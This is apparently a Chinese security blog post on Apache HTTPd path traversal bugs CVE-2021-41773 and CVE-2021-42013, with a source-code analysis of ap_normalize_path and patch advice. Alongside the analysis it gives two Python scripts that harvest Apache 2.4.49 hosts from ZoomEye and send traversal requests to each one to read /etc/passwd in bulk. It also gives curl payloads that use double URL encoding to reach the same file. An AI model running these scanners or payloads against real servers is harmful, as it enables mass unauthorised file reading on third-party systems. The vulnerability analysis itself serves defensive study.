Apache HTTP Server目录遍历漏洞
本文最后更新于 579 天前,其中的信息可能已经有所发展或是发生改变。

CVE-2021-41773

漏洞描述

Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月6日Apache HTTPd官方发布安全更新,披露了CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞。

在其2.4.49版本中,引入了一个路径穿越漏洞。在路径穿越目录允许被访问的的情况下,例如配置了 <Directory />Require all granted</Directory>,攻击者可利用该路径穿越漏洞读取到Web目录之外的其他文件。同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。

结合Zoomeye利用任意文件读取

早上八点美滋滋的从美梦中醒来,看到群友发的推特图片

看了一下是Apache好家伙,攻击范围这么大,爬起来先折腾了一下漏洞的批量脚本,根据推特上泄露的信息以及Github放出的部分POC,收集一下已知信息:

  • poc:”http://” + ip + “/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n”,可以实现任意文件读
  • 版本仅限Apache2.4.49

基于/etc/passwd的探测,结合zoomeye-python的探测,可以实现批量收集IP利用。

文章涉及POC仅限学习研究使用,请勿用于非法用途

import urllib.request
import sys
import zoomeye.sdk as zoomeye

if __name__ == "__main__":
    zm = zoomeye.ZoomEye()
    zm.username = 'username'
    zm.password = 'password'
    print(zm.login())
    data = zm.dork_search("Server: Apache/2.4.49")
    for i in data:
        ip = i.get('ip')
        url = "http://" + ip + "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n"
        req = urllib.request.Request(url)
        try:
            res = urllib.request.urlopen(req, timeout=5)
            if res.status == 200:
                text = res.read().decode('utf-8')
                if 'root:' in text:
                    print('[+]Server %s IS VULNERABLE' % ip)
                    print("The output is:\n\n" + text)
                else:
                    print('[-]Server %s IS NOT VULNERABLE' % ip)
        except:
            print('[-]Server %s IS NOT VULNERABLE' % ip)

然后发现Zoomeye实现的搜索似乎有点问题,搜到的似乎并不完全是Apache,于是找到了API接口,用了另一种不需要认证的探测,当然由于没有登录,限制了查询数量:

import urllib.request
import requests
import sys
import json

if __name__ == "__main__":
    req = requests.get("https://www.zoomeye.org/search?q=%22Server%3A%20Apache%2F2.4.49%22&page=1&pageSize=20&t=host")
    ipList = list(json.loads(req.text).get('ips'))
    for ip in ipList:
        url = "http://" + ip + "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n"
        req = urllib.request.Request(url)
        try:
            res = urllib.request.urlopen(req, timeout=5)
            if res.status == 200:
                text = res.read().decode('utf-8')
                if 'root:' in text:
                    print('[+]Server %s IS VULNERABLE' % ip)
                    print("The output is:\n\n" + text)
                else:
                    print('[-]Server %s IS NOT VULNERABLE' % ip)
        except:
            print('[-]Server %s IS NOT VULNERABLE' % ip)

批量检测

薅完这些就中午了,先吃饭去了。

漏洞原理

compare后2.4.50和2.4.49添加了一处if,文字说明:

                /* Remove /xx/../ segments (or /xx/.%2e/ when
                 * AP_NORMALIZE_DECODE_UNRESERVED is set since we
                 * decoded only the first dot above).
                 */

2.4.49源码:

/*
 * Inspired by mod_jk's jk_servlet_normalize().
 */
AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
    int ret = 1;
    apr_size_t l = 1, w = 1;

    if (!IS_SLASH(path[0])) {
        /* Besides "OPTIONS *", a request-target should start with '/'
         * per RFC 7230 section 5.3, so anything else is invalid.
         */
        if (path[0] == '*' && path[1] == '\0') {
            return 1;
        }
        /* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
         * this restriction (e.g. for subrequest file lookups).
         */
        if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
            return 0;
        }

        l = w = 0;
    }

    while (path[l] != '\0') {
        /* RFC-3986 section 2.3:
         *  For consistency, percent-encoded octets in the ranges of
         *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
         *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
         *  be decoded to their corresponding unreserved characters by
         *  URI normalizers.
         */
        if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
                && path[l] == '%' && apr_isxdigit(path[l + 1])
                                  && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (apr_isalnum(c) || (c && strchr("-._~", c))) {
                /* Replace last char and fall through as the current
                 * read position */
                l += 2;
                path[l] = c;
            }
        }

        if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') {
            do {
                l++;
            } while (!IS_SLASH_OR_NUL(path[l]));
            continue;
        }

        if (w == 0 || IS_SLASH(path[w - 1])) {
            /* Collapse ///// sequences to / */
            if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
                do {
                    l++;
                } while (IS_SLASH(path[l]));
                continue;
            }

            if (path[l] == '.') {
                /* Remove /./ segments */
                if (IS_SLASH_OR_NUL(path[l + 1])) {
                    l++;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }

                /* Remove /xx/../ segments */
                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                    /* Wind w back to remove the previous segment */
                    if (w > 1) {
                        do {
                            w--;
                        } while (w && !IS_SLASH(path[w - 1]));
                    }
                    else {
                        /* Already at root, ignore and return a failure
                         * if asked to.
                         */
                        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                            ret = 0;
                        }
                    }

                    /* Move l forward to the next segment */
                    l += 2;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }
            }
        }

        path[w++] = path[l++];
    }
    path[w] = '\0';

    return ret;
}

在审计这段代码前先看一下该文件已经做出的一些定义,ISLASH主要是根据操作系统来定义url的分隔符:

#ifdef CASE_BLIND_FILESYSTEM
#define IS_SLASH(s) ((s == '/') || (s == '\\'))
#define SLASHES "/\\"
#else
#define IS_SLASH(s) (s == '/')
#define SLASHES "/"
#endif

以及IS_SLASH_OR_NUL(s),除了SLASH的情况外额外增加了NULL

#define IS_SLASH_OR_NUL(s) (s == '\0' || IS_SLASH(s))

审计代码,首先进入if分支,如果path[l].,且path[l + 1]/或空,则进行移除。这部分主要是移除了/.//.格式的路径。

                /* Remove /./ segments */
                if (IS_SLASH_OR_NUL(path[l + 1])) {
                    l++;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }

接着往后,此时判断path[l + 1]是否为.path[i + 2]是否为/或空,这部分移除了/../格式的路径。

                /* Remove /xx/../ segments */
                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                    /* Wind w back to remove the previous segment */
                    if (w > 1) {
                        do {
                            w--;
                        } while (w && !IS_SLASH(path[w - 1]));
                    }
                    else {
                        /* Already at root, ignore and return a failure
                         * if asked to.
                         */
                        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                            ret = 0;
                        }
                    }

                    /* Move l forward to the next segment */
                    l += 2;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }

而漏洞点就在这里,当path[i + 1]的参数进行url编码时,拿到的数据进行了偏移,开发者预想拿到的数据

path[l] = "%2e" | "."
path[l + 1] = "%2e" | "."

但是实际上经过编码后,读取到的数据不再占用一个字符,而是三个字符

path[l + 1] = "%"
path[l + 2] = "2"
path[l + 3] = "e" | "E"

从而绕过了对url的检测,不经过move后的url经过拼接后穿越了目录,实现了任意文件读取。

回到2.4.50,进行了更新添加了新的if分支条件

而2.4.49前的Apache Httpd没有ap_normalize_path函数,所以也不存在该漏洞

RCE

若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。

CVE-2021-42013

漏洞描述

此漏洞由Apache HTTP Server 2.4.49引入,但由于 2.4.50 版本中对 CVE-2021-41773 的修复不够充分,因而此漏洞影响 2.4.49 和 2.4.50 版本。2.4.50并未完全修复漏洞,在2.4.50版本中仍存在目录穿越漏洞。

poc

curl http://<host>:<Port>/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

curl http://<host>:<Port>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

curl http://<host>:<Port>/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

curl http://<host>:<Port>/cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd

可以看到绕过方式是对2或e进行二次url编码。在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码。

修复建议

1、若非2.4.49-2.4.50版本,可不升级。
2、升级至 2.4.51及其以上版本。

参考

payload的实现来自于Github

【最新漏洞预警】CVE-2021-41773-Apache HTTP Server 路径穿越漏洞快速分析与复现

Apache HTTPd 2.4.49 路径穿越漏洞

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇